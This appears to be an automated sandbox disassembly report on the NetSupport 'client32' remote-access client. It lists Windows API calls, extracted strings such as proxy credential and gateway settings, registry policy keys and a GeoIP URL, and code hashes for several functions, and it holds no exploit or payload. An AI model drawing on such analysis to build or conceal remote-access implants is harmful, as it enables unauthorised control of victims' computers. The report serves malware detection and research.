CreateMutexA.KERNEL32(00000000,00000000,PCIMutex,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102EB5D
LoadLibraryA.KERNEL32(User32.dll,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102EBBA
GetProcAddress.KERNEL32(00000000,SetProcessDPIAware), ref: 1102EBF8
SetLastError.KERNEL32(00000078,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102EC0B
WaitForSingleObject.KERNEL32(?,000001F4,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102EC3C
CloseHandle.KERNEL32(?,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102EC49
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102EC54
CloseHandle.KERNEL32(00000000,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102EC5B

Strings

istaUI, xrefs: 1102EA64
PCIMutex, xrefs: 1102EB35, 1102EB54
_debug\tracefile, xrefs: 1102EAAC
B`, xrefs: 1102EA39
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 1102EA81
/247, xrefs: 1102EB69
SetProcessDPIAware, xrefs: 1102EBEE
User32.dll, xrefs: 1102EBB2
_debug\trace, xrefs: 1102EA9B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandleLibraryMutex$AddressCreateErrorFreeLastLoadObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$User32.dll$_debug\trace$_debug\tracefile$istaUI$B`
API String ID: 2633444001-3660454586
Opcode ID: ae551b03b65906b97426a76e9e5f6dedac2389bce539edba93c32e175c85bc09
Instruction ID: 839cbd99583855d240305defeb44377099afaa71c82f4bb6bc46c0958452e9e8
Opcode Fuzzy Hash: ae551b03b65906b97426a76e9e5f6dedac2389bce539edba93c32e175c85bc09
Instruction Fuzzy Hash: 6A61C474E412259EDB50DFA58C88BDEFBF4AF44318F5040ADE91AA3280EB706A44CF61

Function 1102C925 Relevance: 31.7, APIs: 5, Strings: 13, Instructions: 172COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1102C9AE
wsprintfA.USER32 ref: 1102C9C6
_strncpy.LIBCMT ref: 1102CA80
CharUpperA.USER32(494126,?,?,?,?,?,?,?,?,?,?,?,?,?,00000100), ref: 1102CAB1

Strings

Warning: Unexpanded clientname=<%s>, xrefs: 1102C963
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102CB80
494126, xrefs: 1102CA7B, 1102CAAC, 1102CADC, 1102CB51
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1102C9E4, 1102CA63
18/03/14 09:15:42 V12.01F3, xrefs: 1102CB2E
%sessionname%, xrefs: 1102C9F9, 1102CA12
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102CB5A
%session%, xrefs: 1102CA3A
%02d, xrefs: 1102C9A8
IsA(), xrefs: 1102C9E9, 1102CA68
client32 dbi %hs, xrefs: 1102CB33
$session$, xrefs: 1102CA26
%s.%02d, xrefs: 1102C9C0

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$CharUpper_strncpy
String ID: $session$$%02d$%s.%02d$%session%$%sessionname%$18/03/14 09:15:42 V12.01F3$494126$IsA()$Warning: Unexpanded clientname=<%s>$client32 dbi %hs$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d
API String ID: 2270809062-3036655208
Opcode ID: 57a04b5987526aa2e0f8655635961a358d46d212241b8f1881ee851afd3fe5b4
Instruction ID: a7d590d3ef6a482f5e404058edd8043c7c0bcb645db31710f61f6096d8bb4a38
Opcode Fuzzy Hash: 57a04b5987526aa2e0f8655635961a358d46d212241b8f1881ee851afd3fe5b4
Instruction Fuzzy Hash: AB518079E10526AFDB15EB90DC84FEEF378AF45208F4481D9F94967240EB306A44CFA2

Function 6C8119E0 Relevance: 27.6, APIs: 2, Strings: 16, Instructions: 592COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 6C811C1D
wsprintfA.USER32 ref: 6C811D99

Strings

*GatewayAddress, xrefs: 6C811A68, 6C811B56
P, xrefs: 6C811C4B
client247, xrefs: 6C811CA7
%s:%s, xrefs: 6C811D93
UsePinProxy, xrefs: 6C811B1D
*UseWebProxy, xrefs: 6C811A74
:%d, xrefs: 6C811C17
Gateway_WebProxy, xrefs: 6C811AED, 6C811B7D
Gateway, xrefs: 6C811AC7
PinProxy, xrefs: 6C811B34
*WebProxy, xrefs: 6C811A8B
ProxyCred, xrefs: 6C811CA2
*PINServer, xrefs: 6C811B11
Gateway_UseWebProxy, xrefs: 6C811AD5, 6C811B65
ProxyPassword, xrefs: 6C811D69
ProxyUsername, xrefs: 6C811D52

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: wsprintf
String ID: %s:%s$*GatewayAddress$*PINServer$*UseWebProxy$*WebProxy$:%d$Gateway$Gateway_UseWebProxy$Gateway_WebProxy$P$PinProxy$ProxyCred$ProxyPassword$ProxyUsername$UsePinProxy$client247
API String ID: 2111968516-2157635994
Opcode ID: 46f13617892454cc5591b67f5a66217e128f07c53b36da442f4a46b8191178a8
Instruction ID: cde0167cfc4d50e2251aa674f27122ed0c6e0f1680b16357209ce40a529eab1c
Opcode Fuzzy Hash: 46f13617892454cc5591b67f5a66217e128f07c53b36da442f4a46b8191178a8
Instruction Fuzzy Hash: ED22A8B2A042696FDB30CB54CD80EEAB3BDBB5A314F048AD9E54967A40D7315F88CF51

Function 11080710 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,82E0FB89,030634C0,030634B0,?,00000000,11170D2C,000000FF,?,1102FD62,030634C0,00000000,?,?,?), ref: 11080745

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

Part of subcall function 11102970: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,7774C3F0,?,1110371D,00000000,00000001,?,?,?,?,?,1102F49F), ref: 1110298E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 1108076B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 1108077F
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11080793
wsprintfA.USER32 ref: 1108081B
wsprintfA.USER32 ref: 11080832
wsprintfA.USER32 ref: 11080849
CloseHandle.KERNEL32(00000000,11080570,00000001,00000000), ref: 1108099A

Part of subcall function 11080380: CloseHandle.KERNEL32(?,771AF550,?,?,110809C0,?,1102FD62,030634C0,00000000,?,?,?), ref: 11080398
Part of subcall function 11080380: CloseHandle.KERNEL32(?,771AF550,?,?,110809C0,?,1102FD62,030634C0,00000000,?,?,?), ref: 110803AB
Part of subcall function 11080380: CloseHandle.KERNEL32(?,771AF550,?,?,110809C0,?,1102FD62,030634C0,00000000,?,?,?), ref: 110803BE
Part of subcall function 11080380: FreeLibrary.KERNEL32(00000000,771AF550,?,?,110809C0,?,1102FD62,030634C0,00000000,?,?,?), ref: 110803D1

Strings

Cancel, xrefs: 11080779
%s_SW.%s, xrefs: 1108082C
GetInventory, xrefs: 11080765
GetInventoryEx, xrefs: 11080787
%s_HF.%s, xrefs: 11080843
PCIINV.DLL, xrefs: 11080740
%s_HW.%s, xrefs: 11080812

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: 900c07cf632ceed795f6062e6b5d6e6eb4405877d5972ec200cb62fa1573293b
Instruction ID: 267f9520f853b8db1f70e2f308a13b3e425cee8e127691eb8cf8de9d489763be
Opcode Fuzzy Hash: 900c07cf632ceed795f6062e6b5d6e6eb4405877d5972ec200cb62fa1573293b
Instruction Fuzzy Hash: A471A2B5E04709AFE710CF75CC41BDAFBE4EB45314F10456AE99AD7284EB74A540CB90

Function 1102ADC0 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 11102790: SetEvent.KERNEL32(00000000), ref: 111027B4

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102AE05
GetTickCount.KERNEL32 ref: 1102AE2A

Part of subcall function 110C57C0: __strdup.LIBCMT ref: 110C57DA

GetTickCount.KERNEL32 ref: 1102AF24

Part of subcall function 110C6420: wvsprintfA.USER32(?,?,?), ref: 110C644B

Part of subcall function 110C5870: _free.LIBCMT ref: 110C589D

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102B01C
CloseHandle.KERNEL32(?), ref: 1102B038

Strings

?IP=%s, xrefs: 1102AEB6
LatLong, xrefs: 1102ADE8, 1102AED5
GetLatLong=%s, took %d ms, xrefs: 1102AF41
IsA(), xrefs: 1102B06E, 1102B082, 1102B096, 1102B0AA
GeoIP, xrefs: 1102AE73
_debug, xrefs: 1102AE78, 1102AEDA
http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102AE45
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1102B069, 1102B07D, 1102B091, 1102B0A5

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-3003987893
Opcode ID: 8ca583927dd2f4404de96ed486692433cf799d3d2d5b64839f56d11960716dfa
Instruction ID: 57a4b4366f92f46f89141de7e1f67135d68c38a19d5041ed4b9abebe1d7e3f86
Opcode Fuzzy Hash: 8ca583927dd2f4404de96ed486692433cf799d3d2d5b64839f56d11960716dfa
Instruction Fuzzy Hash: 6C819E78E00606DFDB05DBA5CC84FEEF7B5AF59708F508258E92167280DB34BA05CBA1

Function 1105CFC0 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 1105D01A

Part of subcall function 1105CA00: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1105CA3C
Part of subcall function 1105CA00: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 1105CA94

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 1105D06B
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 1105D125
RegCloseKey.ADVAPI32(?), ref: 1105D141

Strings

Software\Policies\NetSupport, xrefs: 1105D0BF
Client.%04d.%s, xrefs: 1105D0A7
Software\Policies\NetSupport\Client\Standard, xrefs: 1105D02D
Client, xrefs: 1105D028, 1105D158
DisableUserPolicies, xrefs: 1105D153
Software\Policies\NetSupport\Client, xrefs: 1105D014
Standard, xrefs: 1105D086
Client, xrefs: 1105D0BA
%s\%s\%s\, xrefs: 1105D0C4

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: 7352ea1272703dd1873893fc259baceee137f98d8ff17c55a767f436621e123b
Instruction ID: 49029f40789f99adc4781eb7408dcc231794a4b951f95dab0d46ef244fca2f87
Opcode Fuzzy Hash: 7352ea1272703dd1873893fc259baceee137f98d8ff17c55a767f436621e123b
Instruction Fuzzy Hash: 7F418175E00229ABDB61CB158C85FEEF7B8EB45708F5041D9FA49A6140DAB06E818FA1

Function 6C804E80 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C849898,?,?,6C80BDFC,00000000), ref: 6C804E89
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6C804ED3
SetLastError.KERNEL32(00000078,00000000,00000000,?,?,6C80BDFC,00000000), ref: 6C804EE8
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6C804F07
SetLastError.KERNEL32(00000078,?,?,6C80BDFC,00000000), ref: 6C804F1C
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6C804F3B
SetLastError.KERNEL32(00000078,?,?,6C80BDFC,00000000), ref: 6C804F5B
closesocket.WSOCK32(?,00000000,?,?,6C80BDFC,00000000), ref: 6C804F72
GetLastError.KERNEL32(?,00000000,?,?,6C80BDFC,00000000), ref: 6C804F7B
_memset.LIBCMT ref: 6C804FA2
LeaveCriticalSection.KERNEL32(6C849898,?,?,6C80BDFC,00000000), ref: 6C804FC0

Strings

InternetCloseHandle, xrefs: 6C804ECD, 6C804F01, 6C804F35
CloseGatewayConnection - closesocket(%u) FAILED (%d), xrefs: 6C804F86

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: ErrorLast$AddressProc$CriticalSection$EnterLeave_memsetclosesocket
String ID: CloseGatewayConnection - closesocket(%u) FAILED (%d)$InternetCloseHandle
API String ID: 3117257897-3125686381
Opcode ID: 40e355ac88f3ab2131fc0388bccb2cc7e2407c5a019a77ff50a1c79502493f67
Instruction ID: 1001b64e8e2794ae97183bb52ecbcb8e129952c6ecd196dc67b575dce66f7fe9
Opcode Fuzzy Hash: 40e355ac88f3ab2131fc0388bccb2cc7e2407c5a019a77ff50a1c79502493f67
Instruction Fuzzy Hash: 9131A036284205AFD730AFA8DE84B4677B9BBE5718F215D24E80997A41D774A844CBE0

Function 1102B5C0 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 284servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102C538,00000000,82E0FB89,?,00000000,00000000), ref: 1102B7F4
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102B80A
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102B81E
CloseServiceHandle.ADVAPI32(00000000), ref: 1102B825
Sleep.KERNEL32(00000032), ref: 1102B836
CloseServiceHandle.ADVAPI32(00000000), ref: 1102B846
Sleep.KERNEL32(000003E8), ref: 1102B892
CloseHandle.KERNEL32(?), ref: 1102B8BF

Strings

NSA.LIC, xrefs: 1102B906, 1102B90D, 1102B93D
ProtectedStorage, xrefs: 1102B804
NSM.LIC, xrefs: 1102B8F7
>, xrefs: 1102B76B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-2077998243
Opcode ID: 9b98cabf2bc657b91fee656e7895e92de7935bc05c4c4817cdead5248451a21a
Instruction ID: cf41a154579764f7ce3274c9b2e845f0c1fb444b2ec11e79c6a8ee3683002965
Opcode Fuzzy Hash: 9b98cabf2bc657b91fee656e7895e92de7935bc05c4c4817cdead5248451a21a
Instruction Fuzzy Hash: C7B18075E016259FDB21CF24CC84BEAB7B5AF49708F5441E9E91DAB381DB70AA80CF50

Function 11025FA0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 131threadwindowsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11083B60: UnhookWindowsHookEx.USER32(?), ref: 11083B83

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 11025FE4

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000001F4), ref: 11026053
PostMessageA.USER32(0001042A,00000501,00000000,00000000), ref: 11026070
SetEvent.KERNEL32(00000280), ref: 11026081
Sleep.KERNEL32(00000032), ref: 11026089
PostMessageA.USER32(0001042A,00000800,00000000,00000000), ref: 110260BA
GetCurrentThreadId.KERNEL32 ref: 110260D3
GetThreadDesktop.USER32(00000000), ref: 110260DA
SetThreadDesktop.USER32(00000000), ref: 110260E3
CloseDesktop.USER32(00000000), ref: 110260EE
CloseHandle.KERNEL32(00000328), ref: 1102612E

Part of subcall function 111035C0: GetCurrentThreadId.KERNEL32 ref: 11103656
Part of subcall function 111035C0: InitializeCriticalSection.KERNEL32(-00000010,?,1102F49F,00000001,00000000), ref: 11103669
Part of subcall function 111035C0: InitializeCriticalSection.KERNEL32(111DC080,?,1102F49F,00000001,00000000), ref: 11103678
Part of subcall function 111035C0: EnterCriticalSection.KERNEL32(111DC080,?,1102F49F), ref: 1110368C
Part of subcall function 111035C0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1102F49F), ref: 111036B2

Strings

Async, xrefs: 11025FC8

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Thread$CriticalDesktopEventSection$CloseCreateCurrentInitializeMessagePost$EnterHandleHookMultipleObjectsSleepUnhookWaitWindows_malloc_memsetwsprintf
String ID: Async
API String ID: 3276504616-2933828738
Opcode ID: b50dc5c0cc4fa15673a632a8a85fb69b85e9462f34217c182deadf66214dd1e7
Instruction ID: 873e3f0f6254a7a416be60b73c140a8ee0daa72de0c8f2a6b091f21df20a38d3
Opcode Fuzzy Hash: b50dc5c0cc4fa15673a632a8a85fb69b85e9462f34217c182deadf66214dd1e7
Instruction Fuzzy Hash: D7419F76E01221AFEB11DF64CCC9F6AB7B5AB48708F104179FE25972C4EB75A800CB95

Function 111241A0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11124210
GetTickCount.KERNEL32 ref: 11124241
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11124254
GetTickCount.KERNEL32 ref: 1112425C

Strings

HasStudentComponents=%d, xrefs: 111242D7
CommonPath, xrefs: 1112427F
%s%s, xrefs: 1112420A, 111242AE
Software\NSL, xrefs: 11124284
Warning. SHGetFolderPath took %d ms, xrefs: 11124266
runplugin.exe, xrefs: 111241EE
